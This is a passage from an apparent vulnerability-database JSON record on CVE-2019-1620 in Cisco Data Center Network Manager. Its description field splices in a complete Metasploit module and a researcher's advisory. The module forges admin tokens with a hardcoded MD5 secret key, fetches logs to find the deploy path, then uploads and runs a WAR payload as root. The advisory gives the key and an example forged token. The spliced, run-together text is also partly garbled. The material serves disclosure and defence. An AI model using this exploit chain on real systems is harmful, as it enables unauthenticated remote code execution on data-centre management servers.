"AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0" }, { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "author": "CNVD", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "confidentialityImpact": "COMPLETE", "exploitabilityScore": 10.0, "id": "CNVD-2019-19474", "impactScore": 10.0, "integrityImpact": "COMPLETE", "severity": "HIGH", "trust": 0.6, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0" }, { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "author": "VULHUB", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "confidentialityImpact": "COMPLETE", "exploitabilityScore": 10.0, "id": "VHN-148322", "impactScore": 10.0, "integrityImpact": "COMPLETE", "severity": "HIGH", "trust": 0.1, "vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C", "version": "2.0" } ], "cvssV3": [ { "attackComplexity": "LOW", "attackVector": "NETWORK", "author": "ykramarz@cisco.com", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "exploitabilityScore": 3.9, "id": "CVE-2019-1620", "impactScore": 5.9, "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "trust": 1.8, "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, { "attackComplexity": "LOW", "attackVector": "NETWORK", "author": "nvd@nist.gov", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "exploitabilityScore": 3.9, "id": "CVE-2019-1620", "impactScore": 5.9, "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "trust": 1.0, "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" } ], "severity": [ { "author": "nvd@nist.gov", "id": "CVE-2019-1620", "trust": 1.0, "value": "CRITICAL" }, { "author": "ykramarz@cisco.com", "id": "CVE-2019-1620", "trust": 1.0, "value": "CRITICAL" }, { "author": "NVD", "id": "CVE-2019-1620", "trust": 0.8, "value": "Critical" }, { "author": "CNVD", "id": "CNVD-2019-19474", "trust": 0.6, "value": "HIGH" }, { "author": "CNNVD", "id": "CNNVD-201906-1029", "trust": 0.6, "value": "CRITICAL" }, { "author": "VULHUB", "id": "VHN-148322", "trust": 0.1, "value": "HIGH" } ] } ], "sources": [ { "db": "CNVD", "id": "CNVD-2019-19474" }, { "db": "VULHUB", "id": "VHN-148322" }, { "db": "JVNDB", "id": "JVNDB-2019-005759" }, { "db": "CNNVD", "id": "CNNVD-201906-1029" }, { "db": "NVD", "id": "CVE-2019-1620" }, { "db": "NVD", "id": "CVE-2019-1620" } ] }, "description": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to upload arbitrary files on an affected device. The vulnerability is due to incorrect permission settings in affected DCNM software. An attacker could exploit this vulnerability by uploading specially crafted data to the affected device. A successful exploit could allow the attacker to write arbitrary files on the filesystem and execute code with root privileges on the affected device. \nThis issue is being tracked by Cisco bug ID CSCvo64647. \n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n work on a few versions below 10.4(2). \n },\n \u0027Author\u0027 =\u003e\n [\n \u0027Pedro Ribeiro \u003cpedrib[at]gmail.com\u003e\u0027 # Vulnerability discovery and Metasploit module\n ],\n \u0027License\u0027 =\u003e MSF_LICENSE,\n \u0027References\u0027 =\u003e\n [\n [ \u0027CVE\u0027, \u00272019-1619\u0027 ], # auth bypass\n [ \u0027CVE\u0027, \u00272019-1620\u0027 ], # file upload\n [ \u0027CVE\u0027, \u00272019-1622\u0027 ], # log download\n [ \u0027URL\u0027, \u0027https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass\u0027 ],\n [ \u0027URL\u0027, \u0027https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex\u0027 ],\n [ \u0027URL\u0027, \u0027https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex\u0027 ],\n [ \u0027URL\u0027, \u0027https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb\u0027 ],\n [ \u0027URL\u0027, \u0027https://seclists.org/fulldisclosure/2019/Jul/7\u0027 ]\n ],\n \u0027Platform\u0027 =\u003e \u0027java\u0027,\n \u0027Arch\u0027 =\u003e ARCH_JAVA,\n \u0027Targets\u0027 =\u003e\n [\n [ \u0027Automatic\u0027, {} ],\n [\n \u0027Cisco DCNM 11.1(1)\u0027, {}\n ],\n [\n \u0027Cisco DCNM 11.0(1)\u0027, {}\n ],\n [\n \u0027Cisco DCNM 10.4(2)\u0027, {}\n ]\n ],\n \u0027Privileged\u0027 =\u003e true,\n \u0027DefaultOptions\u0027 =\u003e { \u0027WfsDelay\u0027 =\u003e 10 },\n \u0027DefaultTarget\u0027 =\u003e 0,\n \u0027DisclosureDate\u0027 =\u003e \u0027Jun 26 2019\u0027\n ))\n\n register_options(\n [\n Opt::RPORT(443),\n OptBool.new(\u0027SSL\u0027, [true, \u0027Connect with TLS\u0027, true]),\n OptString.new(\u0027TARGETURI\u0027, [true, \"Default server path\", \u0027/\u0027]),\n OptString.new(\u0027USERNAME\u0027, [true, \"Username for auth (required only for 11.0(1) and above\", \u0027admin\u0027]),\n OptString.new(\u0027PASSWORD\u0027, [true, \"Password for auth (required only for 11.0(1) and above\", \u0027admin\u0027]),\n ])\n end\n\n def check\n # at the moment this is the best way to detect\n # check if pmreport and fileUpload servlets return a 500 error with no params\n res = send_request_cgi(\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027fm\u0027, \u0027pmreport\u0027),\n \u0027vars_get\u0027 =\u003e\n {\n \u0027token\u0027 =\u003e rand_text_alpha(5..20)\n },\n \u0027method\u0027 =\u003e \u0027GET\u0027\n )\n if res \u0026\u0026 res.code == 500\n res = send_request_cgi(\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027fm\u0027, \u0027fileUpload\u0027),\n \u0027method\u0027 =\u003e \u0027GET\u0027,\n )\n if res \u0026\u0026 res.code == 500\n return CheckCode::Detected\n end\n end\n\n CheckCode::Unknown\n end\n\n def target_select\n if target != targets[0]\n return target\n else\n res = send_request_cgi(\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027fm\u0027, \u0027fmrest\u0027, \u0027about\u0027,\u0027version\u0027),\n \u0027method\u0027 =\u003e \u0027GET\u0027\n )\n if res \u0026\u0026 res.code == 200\n if res.body.include?(\u0027version\":\"11.1(1)\u0027)\n print_good(\"#{peer} - Detected DCNM 11.1(1)\")\n print_status(\"#{peer} - No authentication required, ready to exploit!\")\n return targets[1]\n elsif res.body.include?(\u0027version\":\"11.0(1)\u0027)\n print_good(\"#{peer} - Detected DCNM 11.0(1)\")\n print_status(\"#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit\")\n return targets[2]\n elsif res.body.include?(\u0027version\":\"10.4(2)\u0027)\n print_good(\"#{peer} - Detected DCNM 10.4(2)\")\n print_status(\"#{peer} - No authentication required, ready to exploit!\")\n return targets[3]\n else\n print_error(\"#{peer} - Failed to detect target version.\")\n print_error(\"Please contact module author or add the target yourself and submit a PR to the Metasploit project!\")\n print_error(res.body)\n print_status(\"#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass\")\n return targets[3]\n end\n end\n fail_with(Failure::NoTarget, \"#{peer} - Failed to determine target\")\n end\n end\n\n def auth_v11\n res = send_request_cgi(\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027fm/\u0027),\n \u0027method\u0027 =\u003e \u0027GET\u0027,\n \u0027vars_get\u0027 =\u003e\n {\n \u0027userName\u0027 =\u003e datastore[\u0027USERNAME\u0027],\n \u0027password\u0027 =\u003e datastore[\u0027PASSWORD\u0027]\n },\n )\n\n if res \u0026\u0026 res.code == 200\n # get the JSESSIONID cookie\n if res.get_cookies\n res.get_cookies.split(\u0027;\u0027).each do |cok|\n if cok.include?(\"JSESSIONID\")\n return cok\n end\n end\n end\n end\n end\n\n def auth_v10\n # step 1: get a JSESSIONID cookie and the server Date header\n res = send_request_cgi(\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027fm/\u0027),\n \u0027method\u0027 =\u003e \u0027GET\u0027\n )\n\n # step 2: convert the Date header and create the auth hash\n if res \u0026\u0026 res.headers[\u0027Date\u0027]\n jsession = res.get_cookies.split(\u0027;\u0027)[0]\n date = Time.httpdate(res.headers[\u0027Date\u0027])\n server_date = date.strftime(\"%s\").to_i * 1000\n print_good(\"#{peer} - Got sysTime value #{server_date.to_s}\")\n\n # auth hash format:\n # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\n session_id = rand(1000..50000).to_s\n md5 = Digest::MD5.digest \u0027admin\u0027 + session_id + server_date.to_s +\n \"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\"\n md5_str = Base64.strict_encode64(md5)\n\n # step 3: authenticate our cookie as admin\n # token format: sessionId.sysTime.md5_str.username\n res = send_request_cgi(\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027fm\u0027, \u0027pmreport\u0027),\n \u0027cookie\u0027 =\u003e jsession,\n \u0027vars_get\u0027 =\u003e\n {\n \u0027token\u0027 =\u003e \"#{session_id}.#{server_date.to_s}.#{md5_str}.admin\"\n },\n \u0027method\u0027 =\u003e \u0027GET\u0027\n )\n\n if res \u0026\u0026 res.code == 500\n return jsession\n end\n end\n end\n\n # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log\n def get_war_path\n res = send_request_cgi(\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027fm\u0027, \u0027log\u0027, \u0027fmlogs.zip\u0027),\n \u0027method\u0027 =\u003e \u0027GET\u0027\n )\n\n if res \u0026\u0026 res.code == 200\n tmp = Tempfile.new\n # we have to drop this into a file first\n # else we will get a Zip::GPFBit3Error if we use an InputStream\n File.binwrite(tmp, res.body)\n Zip::File.open(tmp) do |zis|\n zis.each do |entry|\n if entry.name =~ /jboss[0-9]*\\.log/\n fdata = zis.read(entry)\n if fdata[/Started FileSystemDeploymentService for directory ([\\w\\/\\\\\\-\\.:]*)/]\n tmp.close\n tmp.unlink\n return $1.strip\n end\n end\n end\n end\n end\n end\n\n\n def exploit\n target = target_select\n\n if target == targets[2]\n jsession = auth_v11\n elsif target == targets[3]\n jsession = auth_v10\n end\n\n # targets[1] DCNM 11.1(1) doesn\u0027t need auth!\n if jsession.nil? \u0026\u0026 target != targets[1]\n fail_with(Failure::NoAccess, \"#{peer} - Failed to authenticate JSESSIONID cookie\")\n elsif target != targets[1]\n print_good(\"#{peer} - Successfully authenticated our JSESSIONID cookie\")\n end\n\n war_path = get_war_path\n if war_path.nil? or war_path.empty?\n fail_with(Failure::Unknown, \"#{peer} - Failed to get WAR path from logs\")\n else\n print_good(\"#{peer} - Obtain WAR path from logs: #{war_path}\")\n end\n\n # Generate our payload... and upload it\n app_base = rand_text_alphanumeric(6..16)\n war_payload = payload.encoded_war({ :app_name =\u003e app_base }).to_s\n\n fname = app_base + \u0027.war\u0027\n post_data = Rex::MIME::Message.new\n post_data.add_part(fname, nil, nil, content_disposition = \"form-data; name=\\\"fname\\\"\")\n post_data.add_part(war_path, nil, nil, content_disposition = \"form-data; name=\\\"uploadDir\\\"\")\n post_data.add_part(war_payload,\n \"application/octet-stream\", \u0027binary\u0027,\n \"form-data; name=\\\"#{rand_text_alpha(5..20)}\\\"; filename=\\\"#{rand_text_alpha(6..10)}\\\"\")\n data = post_data.to_s\n\n print_status(\"#{peer} - Uploading payload...\")\n res = send_request_cgi(\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027fm\u0027, \u0027fileUpload\u0027),\n \u0027method\u0027 =\u003e \u0027POST\u0027,\n \u0027data\u0027 =\u003e data,\n \u0027cookie\u0027 =\u003e jsession,\n \u0027ctype\u0027 =\u003e \"multipart/form-data; boundary=#{post_data.bound}\"\n )\n\n if res \u0026\u0026 res.code == 200 \u0026\u0026 res.body[/#{fname}/]\n print_good(\"#{peer} - WAR uploaded, waiting a few seconds for deployment...\")\n\n sleep 10\n\n print_status(\"#{peer} - Executing payload...\")\n send_request_cgi(\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, app_base),\n \u0027method\u0027 =\u003e \u0027GET\u0027\n )\n else\n fail_with(Failure::Unknown, \"#{peer} - Failed to upload WAR file\")\n end\n end\nend\n. \nDCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale. \n\nThe table below lists the affected versions for each vulnerability:\n\nVulnerability Vulnerable? CVE\n \u003c= 10.4(2) 11.0(1) 11.1(1) \u003e= 11.2(1) \nAuthentication bypass Yes No No No 2019-1619\nFile upload Yes, auth Yes, auth Yes, unauth No 2019-1620\nFile download Yes, auth Yes, auth Yes, unauth No 2019-1621\nInfo disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622\n\nThe authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution. \nIn version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure. \nAmazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication!\nAll vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown. The Apache Tomcat server is running as root, meaning that the Java shell will run as root. \n\nAgile Information Security would like to thank the iDefense Vulnerability Contributor Program for handling the disclosure process with Cisco [1]. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus\u00ae and Cisco Multilayer Distributed Switching (MDS) solutions. \nDCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3]. \n\nThe snippet of code below shows what the servlet does:\ncom.cisco.dcbu.web.client.performance.ReportServlet\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tCredentials cred = (Credentials)request.getSession().getAttribute(\"credentials\");\n\t\tif((cred == null || !cred.isAuthenticated()) \u0026\u0026 !\"fetch\".equals(request.getParameter(\"command\")) \u0026\u0026 !this.verifyToken(request)) {\n\t\t\trequest.setAttribute(\"popUpSessionTO\", \"true\");\n\t\t}\n\n\t\tthis.doInteractiveChart(request, response);\n\t}\n \nThe request is passed on to the verifyToken function, listed below:\n private boolean verifyToken(HttpServletRequest httpServletRequest) {\n\t\tString token = httpServletRequest.getParameter(\"token\");\n\t\tif(token == null) {\n\t\t\treturn false;\n\t\t} else {\n\t\t\ttry {\n\t\t\t\tFMServerRif serverRif = SQLLoader.getServerManager();\n\t\t\t\tIscRif isc = serverRif.getIsc(StringEncrypter.encryptString(\"DESede\", (new Date()).toString()));\n\t\t\t\ttoken = URLDecoder.decode(token, \"UTF-8\");\n\t\t\t\ttoken = token.replace(\u0027 \u0027, \u0027+\u0027);\n\t\t\t\tFMUserBase fmUserBase = isc.verifySSoToken(token);\n\t\t\t\tif(fmUserBase == null) {\n\t\t\t\t\treturn false;\n\t\t\t\t} else {\n\t\t\t\t\tCredentials newCred = new Credentials();\n\t\t\t\t\tint idx = fmUserBase.getUsername().indexOf(64);\n\t\t\t\t\tnewCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));\n\t\t\t\t\tnewCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));\n\t\t\t\t\tnewCred.setRole(fmUserBase.getRole());\n\t\t\t\t\tnewCred.setAuthenticated(true);\n\t\t\t\t\thttpServletRequest.getSession().setAttribute(\"credentials\", newCred);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t} catch (Exception var8) {\n\t\t\t\tvar8.printStackTrace();\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n \nAs it can be seen in the line:\n\t\t\t\tFMUserBase fmUserBase = isc.verifySSoToken(token);\nthe HTTP request parameter \"token\" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session. \n\nLet\u0027s dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl:\n\n\tpublic FMUserBase verifySSoToken(String ssoToken) {\n\t\treturn SecurityManager.verifySSoToken(ssoToken);\n\t}\n \nDigging further into SecurityManager.verifySSoToken:\ncom.cisco.dcbu.sm.server.security.SecurityManager\n\npublic static FMUserBase verifySSoToken(String ssoToken) {\n\t\tString userName = null;\n\t\tFMUserBase fmUserBase = null;\n\t\tFMUser fmUser = null;\n\n\t\ttry {\n\t\t\tuserName = getSSoTokenUserName(ssoToken);\n\t\t\tif(confirmSSOToken(ssoToken)) {\n\t\t\t\tfmUser = UserManager.getInstance().findUser(userName);\n\t\t\t\tif(fmUser != null) {\n\t\t\t\t\tfmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());\n\t\t\t\t}\n\n\t\t\t\tif(fmUserBase == null) {\n\t\t\t\t\tfmUserBase = DCNMUserImpl.getFMUserBase(userName);\n\t\t\t\t}\n\n\t\t\t\tif(fmUserBase == null) {\n\t\t\t\t\tfmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken));\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception var5) {\n\t\t\t_Logger.info(\"verifySSoToken: \", var5);\n\t\t}\n\n\t\treturn fmUserBase;\n\t}\n\nAs it can be seen in the code above, the username is obtained from the token here:\n\t\t\tuserName = getSSoTokenUserName(ssoToken);\n\nDigging yet another layer we find the following:\npublic static String getSSoTokenUserName(String ssoToken) {\n\t\treturn getSSoTokenDetails(ssoToken)[3];\n\t}\n\n\tprivate static String[] getSSoTokenDetails(String ssoToken) {\n\t\tString[] ret = new String[4];\n\t\tString separator = getTokenSeparator();\n\t\tStringTokenizer st = new StringTokenizer(ssoToken, separator);\n\t\tif(st.hasMoreTokens()) {\n\t\t\tret[0] = st.nextToken();\n\t\t\tret[1] = st.nextToken();\n\t\t\tret[2] = st.nextToken();\n\n\t\t\tfor(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) {\n\t\t\t\t;\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t}\n \nSeems like the token is a string which is separated by the \"separator\" with four components, the fourth of which is the username. \n\nNow going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called:\n public static FMUserBase verifySSoToken(String ssoToken) {\n (...)\n\t\t\tuserName = getSSoTokenUserName(ssoToken);\n\t\t\tif(confirmSSOToken(ssoToken)) {\n\t\t\t\tfmUser = UserManager.getInstance().findUser(userName);\n\t\t\t\tif(fmUser != null) {\n\t\t\t\t\tfmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());\n\t\t\t\t}\n (...)\n }\n \n\tpublic static boolean confirmSSOToken(String ssoToken) {\n\t\tString userName = null;\n\t\tint sessionId = false;\n\t\tlong sysTime = 0L;\n\t\tString digest = null;\n\t\tint count = false;\n\t\tboolean ret = false;\n\n\t\ttry {\n\t\t\tString[] detail = getSSoTokenDetails(ssoToken);\n\t\t\tuserName = detail[3];\n\t\t\tint sessionId = Integer.parseInt(detail[0]);\n\t\t\tsysTime = (new Long(detail[1])).longValue();\n\t\t\tif(System.currentTimeMillis() - sysTime \u003e 600000L) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\tdigest = detail[2];\n\t\t\tif(digest != null \u0026\u0026 digest.equals(getMessageDigest(\"MD5\", userName, sessionId, sysTime))) {\n\t\t\t\tret = true;\n\t\t\t\tuserNameTLC.set(userName);\n\t\t\t}\n\t\t} catch (Exception var9) {\n\t\t\t_Logger.info(\"confirmSSoToken: \", var9);\n\t\t}\n\n\t\treturn ret;\n\t}\n \nNow we can further understand the token. It seems it is composed of:\nsessionId + separator + sysTime + separator + digest + separator + username\n\t\nAnd what is the digest? Let\u0027s look into the getMessageDigest function:\n \n\t\n\t\tprivate static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {\n\t\t\tString input = userName + sessionid + sysTime + SECRETKEY;\n\t\t\tMessageDigest md = MessageDigest.getInstance(algorithm);\n\t\t\tmd.update(input.getBytes());\n\t\t\treturn new String(Base64.encodeBase64((byte[])md.digest()));\n\t\t}\n \nIt is nothing more than the MD5 of:\nuserName + sessionid + sysTime + SECRETKEY\n\n... and SECRETKEY is a fixed key in the code:\n\tprivate static final String SECRETKEY = \"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\";\n \n... while the separator is a \".\":\n\t private static String getTokenSeparator()\n\t {\n return System.getProperty(\"security.tokenSeparator\", \".\");\n\t }\n \nIn summary, this is what happens:\nThe ReportServlet will happily authenticate any request, as long as it receives a token in the following format:\nsessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username\n\nThe sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here\u0027s an example token:\nGET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin\n\nThis request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user. \nNote that the user has to be valid. The \"admin\" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system. \n\nUnfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version. \nIn 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below:\n\n private boolean verifyToken(HttpServletRequest httpServletRequest) {\n (...)\n\t\t\t\t\tCredentials newCred = new Credentials();\n\t\t\t\t\tint idx = fmUserBase.getUsername().indexOf(64);\n\t\t\t\t\tnewCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));\n\t\t\t\t\tnewCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); \u003c--- exception occurs here\n\t\t\t\t\tnewCred.setRole(fmUserBase.getRole());\n\t\t\t\t\tnewCred.setAuthenticated(true);\n\t\t\t\t\thttpServletRequest.getSession().setAttribute(\"credentials\", newCred);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t} catch (Exception var8) {\n\t\t\t\tvar8.printStackTrace();\n\t\t\t\treturn false;\n\t\t\t}\n (...)\n }\n \nThe exception returned is a \"com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded\". \nThis will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it. \n\nI believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident. \n\nOn version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error. \n\nThe code for this servlet is listed below:\ncom.cisco.dcbu.web.client.reports.FileUploadServlet\n\n\tpublic void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tthis.doGet(request, response);\n\t}\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tCredentials cred = (Credentials)((Object)request.getSession().getAttribute(\"credentials\"));\n\t\tif (cred == null || !cred.isAuthenticated()) {\n\t\t\tthrow new ServletException(\"User not logged in or Session timed out.\");\n\t\t}\n\t\tthis.handleUpload(request, response);\n\t}\n \nThe code shown above is simple, and the request is passed onto handleUpload:\n\n\tprivate void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tresponse.setContentType(CONTENT_TYPE);\n\t\tPrintWriter out = null;\n\t\tArrayList\u003cString\u003e allowedFormats = new ArrayList\u003cString\u003e();\n\t\tallowedFormats.add(\"jpeg\");\n\t\tallowedFormats.add(\"png\");\n\t\tallowedFormats.add(\"gif\");\n\t\tallowedFormats.add(\"jpg\");\n\t\tallowedFormats.add(\"cert\");\n\t\tFile disk = null;\n\t\tFileItem item = null;\n\t\tDiskFileItemFactory factory = new DiskFileItemFactory();\n\t\tString statusMessage = \"\";\n\t\tString fname = \"\";\n\t\tString uploadDir = \"\";\n\t\tListIterator iterator = null;\n\t\tList items = null;\n\t\tServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);\n\t\tTransformerHandler hd = null;\n\t\ttry {\n\t\t\tout = response.getWriter();\n\t\t\tStreamResult streamResult = new StreamResult(out);\n\t\t\tSAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance();\n\t\t\titems = upload.parseRequest(request);\n\t\t\titerator = items.listIterator();\n\t\t\thd = tf.newTransformerHandler();\n\t\t\tTransformer serializer = hd.getTransformer();\n\t\t\tserializer.setOutputProperty(\"encoding\", \"UTF-8\");\n\t\t\tserializer.setOutputProperty(\"doctype-system\", \"response.dtd\");\n\t\t\tserializer.setOutputProperty(\"indent\", \"yes\");\n\t\t\tserializer.setOutputProperty(\"method\", \"xml\");\n\t\t\thd.setResult(streamResult);\n\t\t\thd.startDocument();\n\t\t\tAttributesImpl atts = new AttributesImpl();\n\t\t\thd.startElement(\"\", \"\", \"response\", atts);\n\t\t\twhile (iterator.hasNext()) {\n\t\t\t\tatts.clear();\n\t\t\t\titem = (FileItem)iterator.next();\n\t\t\t\tif (item.isFormField()) {\n\t\t\t\t\tif (item.getFieldName().equalsIgnoreCase(\"fname\")) {\n\t\t\t\t\t\tfname = item.getString();\n\t\t\t\t\t}\n\t\t\t\t\tif (item.getFieldName().equalsIgnoreCase(\"uploadDir\") \u0026\u0026 (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) {\n\t\t\t\t\t\tuploadDir = ClientCache.getJBossHome() + File.separator + \"server\" + File.separator + \"fm\" + File.separator + \"conf\";\n\t\t\t\t\t}\n\t\t\t\t\tatts.addAttribute(\"\", \"\", \"id\", \"CDATA\", item.getFieldName());\n\t\t\t\t\thd.startElement(\"\", \"\", \"field\", atts);\n\t\t\t\t\thd.characters(item.getString().toCharArray(), 0, item.getString().length());\n\t\t\t\t\thd.endElement(\"\", \"\", \"field\");\n\t\t\t\t\tatts.clear();\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream());\n\t\t\t\tIterator\u003cImageReader\u003e imageReaders = ImageIO.getImageReaders(imageInputStream);\n\t\t\t\tImageReader imageReader = null;\n\t\t\t\tif (imageReaders.hasNext()) {\n\t\t\t\t\timageReader = imageReaders.next();\n\t\t\t\t}\n\t\t\t\ttry {\n\t\t\t\t\tString imageFormat = imageReader.getFormatName();\n\t\t\t\t\tString newFileName = fname + \".\" + imageFormat;\n\t\t\t\t\tif (allowedFormats.contains(imageFormat.toLowerCase())) {\n\t\t\t\t\t\tFileFilter fileFilter = new FileFilter();\n\t\t\t\t\t\tfileFilter.setImageTypes(allowedFormats);\n\t\t\t\t\t\tFile[] fileList = new File(uploadDir).listFiles(fileFilter);\n\t\t\t\t\t\tfor (int i = 0; i \u003c fileList.length; ++i) {\n\t\t\t\t\t\t\tnew File(fileList[i].getAbsolutePath()).delete();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdisk = new File(uploadDir + File.separator + fname);\n\t\t\t\t\t\titem.write(disk);\n\t\t\t\t\t\tCalendar calendar = Calendar.getInstance();\n\t\t\t\t\t\tSimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM.dd.yy hh:mm:ss aaa\");\n\t\t\t\t\t\tstatusMessage = \"File successfully written to server at \" + simpleDateFormat.format(calendar.getTime());\n\t\t\t\t\t}\n\t\t\t\t\timageReader.dispose();\n\t\t\t\t\timageInputStream.close();\n\t\t\t\t\tatts.addAttribute(\"\", \"\", \"id\", \"CDATA\", newFileName);\n\t\t\t\t}\n\t\t\t\tcatch (Exception ex) {\n\t\t\t\t\tthis.processUploadedFile(item, uploadDir, fname);\n\t\t\t\t\tCalendar calendar = Calendar.getInstance();\n\t\t\t\t\tSimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM.dd.yy hh:mm:ss aaa\");\n\t\t\t\t\tstatusMessage = \"File successfully written to server at \" + simpleDateFormat.format(calendar.getTime());\n\t\t\t\t\tatts.addAttribute(\"\", \"\", \"id\", \"CDATA\", fname);\n\t\t\t\t}\n\t\t\t\thd.startElement(\"\", \"\", \"file\", atts);\n\t\t\t\thd.characters(statusMessage.toCharArray(), 0, statusMessage.length());\n\t\t\t\thd.endElement(\"\", \"\", \"file\");\n\t\t\t}\n\t\t\thd.endElement(\"\", \"\", \"response\");\n\t\t\thd.endDocument();\n\t\t\tout.close();\n\t\t}\n\t\tcatch (Exception e) 